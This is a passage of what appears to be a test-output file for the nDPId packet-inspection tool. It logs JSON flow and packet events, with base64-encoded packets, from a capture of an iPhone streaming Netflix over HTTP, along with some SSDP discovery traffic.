zkyIChpUGhvbmU7IFU7IENQVSBPUyAxMF8yIGxpa2UgTWFjIE9TIFg7IGVuX3VzKQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi11cw0KQWNjZXB0LUVuY29kaW5nOiBpZGVudGl0eQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +01202{"flow_id":51,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2514,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319070,"pkt_ts_usec":788874,"pkt_caplen":643,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":643,"pkt_l4_len":609,"pkt":"5JjWH70UgCqoTGHMCABFIAJ1AABAADsGWDkX9guFwKgBBwBQz9pdV17IcdR1soAQCALKdAAAAQEICoGLV14fZUZ5SFRUUC8xLjEgMjA2IFBhcnRpYWwgQ29udGVudA0KU2VydmVyOiBuZ2lueA0KRGF0ZTogRnJpLCAxMyBKYW4gMjAxNyAxNDo1MToxMCBHTVQNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQpDb250ZW50LUxlbmd0aDogMTQ1MDA4DQpMYXN0LU1vZGlmaWVkOiBUaHUsIDA2IEF1ZyAyMDE1IDA4OjQ5OjMyIEdNVA0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUNClByYWdtYTogbm8tY2FjaGUNCkFjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbjogKg0KQWNjZXNzLUNvbnRyb2wtRXhwb3NlLUhlYWRlcnM6IFgtVENQLUluZm8sWC1TZXNzaW9uLUluZm8NClgtVENQLUluZm86IGgwPTExMjAzMzA3MDM7aDE9MzYyMjkyNzYyMjtoMj0yOTMzOTMzMzU0O2gzPTE3ODkzNjM5MDU7aDQ9MjEzMTM0ODgxODsNClgtU2Vzc2lvbi1JbmZvOiBhZGRyPTczLjIwMy4xMDcuMjM7cG9ydD01MzIxMDthcmdwPTYuc05jMERYU2Y4VEhFM2Y0eThWdU5sa1RITHNFblExQ0tja0M3dXN3MnZiQQ0KQ29udGVudC1SYW5nZTogYnl0ZXMgNTkyMTgtMjA0MjI1LzM1MzY4MzQ3DQoNCg=="} +02365{"flow_id":51,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2515,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319070,"pkt_ts_usec":794279,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAABAADsGVNIX9guFwKgBBwBQz9pdV2EJcdR1soAQCAJoWAAAAQEICoGLV14fZUZ5AAAHgW1vb2YAAAAQbWZoZAAAAAAAAAABAAAHaXRyYWYAAAAUdGZoZAACACAAAAACAaEAAAAAABR0ZmR0AQAAAAAAAAAAAAAAAAAAQXNhaXoAAAAAAAAAADAiFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYAAAAYc2FpbwEAAAAAAAABAAAAAAAAAxkAAAJYdHJ1bgAACwUAAAAwAAAHiQJgAAAABl07AAAE0gAAAAAABl08AAAAFwAAAAAABl07AAAAFwAAAAAABl07AAAAFgAAAAAABl08AAAAFgAAAAAABl07AAAAFgAAAAAABl07AAAAFgAAAAAABl08AAAAFgAAAAAABl07AAAAFgAAAAAABl07AAAAFgAAAAAABl08AAAAFgAAAAAABl07AAAAFgAAAAAABl07AAAAFgAAAAAABl08AAAAFgAAAAAABl07AAAAFgAAAAAABl07AAAAFgAAAAAABl08AAAAFgAAAAAABl07AAAAFgAAAAAABl07AAAAFgAAAAAABl08AAAAFgAAAAAABl07AAAAFgAAAAAABl07AAAAFgAAAAAABl08AAAAFgAAAAAABl07AAAAFgAAAAAABl07AAAAFgAAAAAABl08AAAAFgAAAAAABl07AAAAFgAAAAAABl07AAAAFgAAAAAABl08AAAAFgAAAAAABl07AAAAFgAAAAAABl07AAAAFgAAAAAABl08AAAAFgAAAAAABl07AAAAFgAAAAAABl07AAAAFgAAAAAABl08AAAAFgAAAAAABl07AAAAFgAAAAAABl07AAAAFgAAAAAABl08AAAAFgAAAAAABl07AAAAFgAAAAAABl07AAAAFgAAAAAABl08AAAAFgAAAAAABl07AAAAFgAAAAAABl07AAAAFgAAAAAABl08AAAAFgAAAAAABl07AAAAFgAAAAAABl07AAAAFgAAAAAABl08AAAAFgAAAAAABl07AAAAFgAAAAAAAARMdXVpZKI5T1Jam08UokRsQnxkjfQAAAACAAAAMEPVtsyocZAAAAQABQAAAAgABQAAAqAABQAAAAYABQAAAhBD1bbMqHGQAQACAAUAAAAGAAUAAAAHQ9W2zKhxkAIAAgAFAAAABgAFAAAAB0PVtsyocZADAAIABQAAAAYABQAAAAZD1bbMqHGQBAACAAUAAAAGAAUAAAAGQ9W2zKhxkAUAAgAFAAAABgAFAAAABkPVtsyocZAGAAIABQAAAAYABQAAAAZD1bbMqHGQBwACAAUAAAAGAAUAAAAGQ9W2zKhxkAgAAgAFAAAABgAFAAAABkPVtsyocZAJAAIABQAAAAYABQAAAAZD1bbMqHGQCgACAAUAAAAGAAUAAAAGQ9W2zKhxkAsAAgAFAAAABgAFAAAABkPVtsyocZAMAAIABQAAAAYABQAAAAZD1bbMqHGQDQACAAUAAAAGAAUAAAAGQ9W2zKhxkA4AAgAFAAAABgAFAAAABkPVtsyocZAPAAIABQAAAAYABQAAAAZD1bbMqHGQEAACAAUAAAAGAAUAAAAGQ9W2zKhxkBEAAgAFAAAABgAFAAAABkPVtsyocZASAAIABQAAAAYABQAAAAZD1bbMqHGQEwACAAUAAAAGAAUAAAAGQ9W2zKhxkBQAAgAFAAAABgAFAAAABkPVtsyocZAVAAIABQAAAAYABQAAAAZD1bbMqHGQFgACAAUAAAAGAAUAAAAGQ9W2zKhxkBcAAgAFAAAABgAFAAAABkPVtsyocZAYAAIABQAAAAYABQAAAAZD1bbMqHGQGQACAAUAAAAGAAUAAAAGQ9W2zKhxkBoAAgAFAAAABgAFAAAABkPVtsyocZAbAAIABQAAAAYABQAAAAZD1bbMqHGQHAACAAUAAAAGAAUAAAAGQ9W2zKg="} +00429{"flow_id":51,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2516,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319070,"pkt_ts_usec":795841,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0x8JAAEAGjdfAqAEHF\/YLhc\/aAFBx1HWyXVdmsYAQD9LHHwAAAQEICh9lRpiBi1de"} +02379{"flow_id":51,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2517,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319070,"pkt_ts_usec":823629,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAAFAADsGVNEX9guFwKgBBwBQz9pdV2axcdR1soAQCAJyOQAAAQEICoGLV14fZUZ5cZAdAAIABQAAAAYABQAAAAZD1bbMqHGQHgACAAUAAAAGAAUAAAAGQ9W2zKhxkB8AAgAFAAAABgAFAAAABkPVtsyocZAgAAIABQAAAAYABQAAAAZD1bbMqHGQIQACAAUAAAAGAAUAAAAGQ9W2zKhxkCIAAgAFAAAABgAFAAAABkPVtsyocZAjAAIABQAAAAYABQAAAAZD1bbMqHGQJAACAAUAAAAGAAUAAAAGQ9W2zKhxkCUAAgAFAAAABgAFAAAABkPVtsyocZAmAAIABQAAAAYABQAAAAZD1bbMqHGQJwACAAUAAAAGAAUAAAAGQ9W2zKhxkCgAAgAFAAAABgAFAAAABkPVtsyocZApAAIABQAAAAYABQAAAAZD1bbMqHGQKgACAAUAAAAGAAUAAAAGQ9W2zKhxkCsAAgAFAAAABgAFAAAABkPVtsyocZAsAAIABQAAAAYABQAAAAZD1bbMqHGQLQACAAUAAAAGAAUAAAAGQ9W2zKhxkC4AAgAFAAAABgAFAAAABkPVtsyocZAvAAIABQAAAAYABQAAAAYAAAA8c2R0cAAAAAAmFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYAAAjmbWRhdAAAAAkGdZTBZUjeIIsAAAKhBj1IswtbibuLtVwLMV4xtr5F9M6VKBkIPm+\/I6Ni53gwFTBRBsRMwDDt06U\/gVP8D4y4bqoKljW9tVuwTXiagz1H0rFNBETWzouBP7+HUJNxM0ct\/E2TVwOZ7W2JyFEbf\/XLEvOiBRBamLJCXMj2tkDy\/LD4xHbh7KlfD1LZmFm6g5iAsFiznEYnTElMw22vHSEF3fBC3pjY5\/hfhgtiZ0uSPyA439MddqNcyPpCuuxQxB9heEgE0X7nLz3hzAY+M1\/\/7cMYSBqX8Al7lbjwJQbfBcAbekvXSQOnqtmrSCt1pfTAAfEk3cyTD+wWHT81yEId1XBw0lRUbVK0zc2YZ2jMPvpDhOMJ7hx1+bwiIZ0jjMf808JJxXn1Xb\/DPhx9jvaLNicOBi8L6vl5i428ppWj8HQnZAfiiPrQpTG+DkdsUSlLyAWQG41+OqpeH2WCO8hPvm0vsF8OwfdEoG6gtaIKZvV1y36SldXsLTBMIBToklB\/4MiuKcKNvX91+0viPLPK2fpS1YyLZiNkO5FON1IUYMjdD7nkr+fiFkfveP0zDcisddymmn6o7IdIm3WbB82djoX9eGjbz5inalDM0DAiBQDaaPO7CSBC9ENZiERMzGsP+LcV1zBacWLxX4bk5oJv16UP5WEHTCrvs6NodacdWkLUvmiSA4agqt7dj+OlndXAcsxKCXHjk7ZS8VJHcloEjJ+bubam9QhyRAxhJDTpGsjT\/EkWUX1h0Tvyk+GdCSuAvNWeGtMHX8y+mplXKddNkmvhABkJkwQ3Ox9iKagnOtYTeqf9q2kGH68NI1MJUlH9e7EaZREHgczjqfcxPa3YdnvSnsAPQJkjUxu+nIMVb2UBwiMoj5czQpVSKbidGAT0pyjCwdFhB+gc9DNZNAAAAAcGTT2NiPDrAAACEWW1G6ygvAHQ6H4heZAxb1mP5BnWlWy6rnhIpsC\/mfBC6A4suBh7s1IUK5xVZq0zEM0BUXy9nnADHTcC8krawEHI1z59IA6PlMehj4iYJLwnrRVhpkYHjWFACJMhW7iSSwSCYFMQ3OvH6QW1JZghB24DxB301gs9HEictVYwBHwOt8v0CzgxouSstvCMZG2V3DthTif2etetuXAnzWbm2GRw3yQtcHRnPUzVRpUQb8hKc2ttz4jumANMRNF9\/LKRr2kEbwTbBdSSC+z29s8H6gWiyYSMXQy1jPUJn0xBi1+1k2FRWTeC9HTnJKB9a4dYhjGnRR14jjUDfhrER8tJFCRUhJ+iX\/c="} +00429{"flow_id":51,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2518,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319070,"pkt_ts_usec":825326,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0uQZAAEAGnJPAqAEHF\/YLhc\/aAFBx1HWyXVdsWYAQEADBLAAAAQEICh9lRrWBi1de"} +00567{"flow_id":10,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3402,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319082,"pkt_ts_usec":902713,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"AQBef\/\/65JjWH70UCABFAACWtkcAAAERUWbAqAEH7\/\/\/+tIQB2wAggqVTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMg0KU1Q6IHVybjptZHgtbmV0ZmxpeC1jb206c2VydmljZTp0YXJnZXQ6MA0KDQo="} +00569{"flow_id":10,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3415,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319083,"pkt_ts_usec":7977,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"AQBef\/\/65JjWH70UCABFAACZYRMAAAERppfAqAEH7\/\/\/+tIQB2wAhUYzTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMg0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQo="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4214,"source":"netflix.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1484319091296,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.11.141","src_port":53217,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4214,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319091,"pkt_ts_usec":296070,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAakNAAEAG60LAqAEHF\/YLjc\/hAFDAgDYQAAAAALAC\/\/\/YUQAAAgQFtAEDAwUBAQgKH2WTUQAAAAAEAgAA"} +00441{"flow_id":52,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4216,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319091,"pkt_ts_usec":309083,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAADsGWmoX9guNwKgBBwBQz+FsswOfwIA2EaAS\/\/85DQAAAgQFtAEDAwkEAggK\/T5Cox9lk1E="} +00429{"flow_id":52,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4217,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319091,"pkt_ts_usec":310850,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA00UpAAEAGhEfAqAEHF\/YLjc\/hAFDAgDYRbLMDoIAQEBVXuAAAAQEICh9lk1\/9PkKj"} +01112{"flow_id":52,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4218,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319091,"pkt_ts_usec":314892,"pkt_caplen":575,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":575,"pkt_l4_len":541,"pkt":"gCqoTGHM5JjWH70UCABFAAIxbbBAAEAG5eTAqAEHF\/YLjc\/hAFDAgDYRbLMDoIAYEBVzYQAAAQEICh9lk2L9PkKjR0VUIC8\/bz1BUUVmS3Eyb01yTFJpV0wycHVOUUpKMlRMaHVpR0xqU3NldTIzVjJIWDZrSWlVOUpwYkNhQnh4YUlvejIxcVFOS3VEVWFPSVp3ZFRseDIzRE1WeGFiYkN3bXZFbHVpcERXMnR2Rk1saE1SdHdkaGhWbGJ2OUtHRmFiaXU1S0gwU2x4MFZqT0tfd3pUaHBQN2xIaFdBNGtXOWdheVlFV3RqTk5LZSZ2PTMmZT0xNDg0MzQ3ODUwJnQ9RGgyNzh1MlVwQXBPQ0dVajVSeFY4YXpOV1g4IEhUVFAvMS4xDQpIb3N0OiAyMy4yNDYuMTEuMTQxDQpYLVBsYXliYWNrLVNlc3Npb24tSWQ6IDQzRERBRkI5LUZFMkYtNEM2RS05QjkxLUFCMERDNDY0ODdBMQ0KUmFuZ2U6IGJ5dGVzPTAtMjA1OA0KQWNjZXB0OiAqLyoNClVzZXItQWdlbnQ6IEFwcGxlQ29yZU1lZGlhLzEuMC4wLjE0QzkyIChpUGhvbmU7IFU7IENQVSBPUyAxMF8yIGxpa2UgTWFjIE9TIFg7IGVuX3VzKQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi11cw0KQWNjZXB0LUVuY29kaW5nOiBpZGVudGl0eQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +00957{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4218,"source":"netflix.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":4,"flow_first_seen":1484319091296,"flow_last_seen":1484319091314,"flow_tot_l4_data_len":657,"flow_min_l4_data_len":32,"flow_max_l4_data_len":541,"flow_avg_l4_data_len":164,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.11.141","src_port":53217,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"23.246.11.141","url":"23.246.11.141\/?o=AQEfKq2oMrLRiWL2puNQJJ2TLhuiGLjSseu23V2HX6kIiU9JpbCaBxxaIoz21qQNKuDUaOIZwdTlx23DMVxabbCwmvEluipDW2tvFMlhMRtwdhhVlbv9KGFabiu5KH0Slx0VjOK_wzThpP7lHhWA4kW9gayYEWtjNNKe&v=3&e=1484347850&t=Dh278u2UpApOCGUj5RxV8azNWX8","code":0,"content_type":"","user_agent":"AppleCoreMedia\/1.0.0.14C92 (iPhone; U; CPU OS 10_2 like Mac OS X; en_us)"}} +01189{"flow_id":52,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4219,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319091,"pkt_ts_usec":339356,"pkt_caplen":634,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":634,"pkt_l4_len":600,"pkt":"5JjWH70UgCqoTGHMCABFIAJsAABAADsGWDoX9guNwKgBBwBQz+FsswOgwIA4DoAQCAJKIQAAAQEICv0+QsAfZZNiSFRUUC8xLjEgMjA2IFBhcnRpYWwgQ29udGVudA0KU2VydmVyOiBuZ2lueA0KRGF0ZTogRnJpLCAxMyBKYW4gMjAxNyAxNDo1MTozMSBHTVQNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQpDb250ZW50LUxlbmd0aDogMjA1OQ0KTGFzdC1Nb2RpZmllZDogTW9uLCAxNCBEZWMgMjAxNSAxMDo1OTo1NyBHTVQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlDQpQcmFnbWE6IG5vLWNhY2hlDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoNCkFjY2Vzcy1Db250cm9sLUV4cG9zZS1IZWFkZXJzOiBYLVRDUC1JbmZvLFgtU2Vzc2lvbi1JbmZvDQpYLVRDUC1JbmZvOiBoMD0yOTgzMTEwNzE7aDE9MzMxNjkzMDExMDtoMj0zNjA3NzYxMjI1O2gzPTE1NTc1ODQyMzk7aDQ9MTcxNjMzNjAwOTsNClgtU2Vzc2lvbi1JbmZvOiBhZGRyPTczLjIwMy4xMDcuMjM7cG9ydD01MzIxNzthcmdwPTYuc05jMERYU2Y4VEhFM2Y0eThWdU5sa1RITHNFblExQ0tja0M3dXN3MnZiQQ0KQ29udGVudC1SYW5nZTogYnl0ZXMgMC0yMDU4LzY4Mzk0NTQxDQoNCg=="} +02366{"flow_id":52,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4220,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319091,"pkt_ts_usec":340195,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"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"} +01249{"flow_id":52,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4221,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319091,"pkt_ts_usec":343847,"pkt_caplen":677,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":677,"pkt_l4_len":643,"pkt":"5JjWH70UgCqoTGHMCABFIAKXAAFAADsGWA4X9guNwKgBBwBQz+FsswuAwIA4DoAYCAIx3AAAAQEICv0+QsEfZZNiZGlhIEhhbmRsZXIAAAACG21pbmYAAAAUdm1oZAAAAAEAAAAAAAAAAAAAACRkaW5mAAAAHGRyZWYAAAAAAAAAAQAAAAx1cmwgAAAAAQAAAdtzdGJsAAAAEHN0dHMAAAAAAAAAAAAAABBjdHRzAAAAAAAAAAAAAAF\/c3RzZAAAAAAAAAABAAABb2VuY3YAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAABQADwAEgAAABIAAAAAAAAAAEKQVZDIENvZGluZwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY\/\/8AAAA3YXZjQwFNQB7\/4QAgZ01AHuiAoP2HCAAAH0gABdwHAwAJJ4AMNUlGAPFi0SABAARo6+yyAAAAEHBhc3AAAAAEAAAAAwAAACJ1dWlkTmV0ZmxpeEZyYW1lUmF0ZQAAAAAAAF3AA+kAAABgc2luZgAAAAxmcm1hYXZjMQAAABRzY2htAAAAAHBpZmYAAQABAAAAOHNjaGkAAAAwdXVpZIl0285750xRhPlxSPmIJVQAAAAAAAABCAAAAAAD1wGdAAAAAAAAAAAAAABQc2luZgAAAAxmcm1hYXZjMQAAABRzY2htAAAAAGNlbmMAAQAAAAAAKHNjaGkAAAAgdGVuYwAAAAAAAAEIAAAAAAPXAZ0AAAAAAAAAAAAAABBzdHNjAAAAAAAAAAAAAAAUc3RzegAAAAAAAAAAAAAAAAAAABBzdGNvAAAAAAAAAAAAAAA8bXZleAAAABRtZWhkAQAAAAAAAAYukcFNAAAAIHRyZXgAAAAAAAAAAgAAAAEAAAAAAAAAAAGhAAA="} +00428{"flow_id":52,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4222,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319091,"pkt_ts_usec":345153,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0Pc5AAEAGF8TAqAEHF\/YLjc\/hAFDAgDgObLMLgIAQD9ZN3wAAAQEICh9lk339PkLA"} +00428{"flow_id":52,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4223,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319091,"pkt_ts_usec":345339,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0yIdAAEAGjQrAqAEHF\/YLjc\/hAFDAgDgObLMN44AQD+xLYgAAAQEICh9lk4D9PkLB"} +01126{"flow_id":52,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4224,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319091,"pkt_ts_usec":361881,"pkt_caplen":584,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":584,"pkt_l4_len":550,"pkt":"gCqoTGHM5JjWH70UCABFAAI6hB9AAEAGz2zAqAEHF\/YLjc\/hAFDAgDgObLMN44AYEADamQAAAQEICh9lk4\/9PkLBR0VUIC8\/bz1BUUVmS3Eyb01yTFJpV0wycHVOUUpKMlRMaHVpR0xqU3NldTIzVjJIWDZrSWlVOUpwYkNhQnh4YUlvejIxcVFOS3VEVWFPSVp3ZFRseDIzRE1WeGFiYkN3bXZFbHVpcERXMnR2Rk1saE1SdHdkaGhWbGJ2OUtHRmFiaXU1S0gwU2x4MFZqT0tfd3pUaHBQN2xIaFdBNGtXOWdheVlFV3RqTk5LZSZ2PTMmZT0xNDg0MzQ3ODUwJnQ9RGgyNzh1MlVwQXBPQ0dVajVSeFY4YXpOV1g4IEhUVFAvMS4xDQpIb3N0OiAyMy4yNDYuMTEuMTQxDQpYLVBsYXliYWNrLVNlc3Npb24tSWQ6IDQzRERBRkI5LUZFMkYtNEM2RS05Qj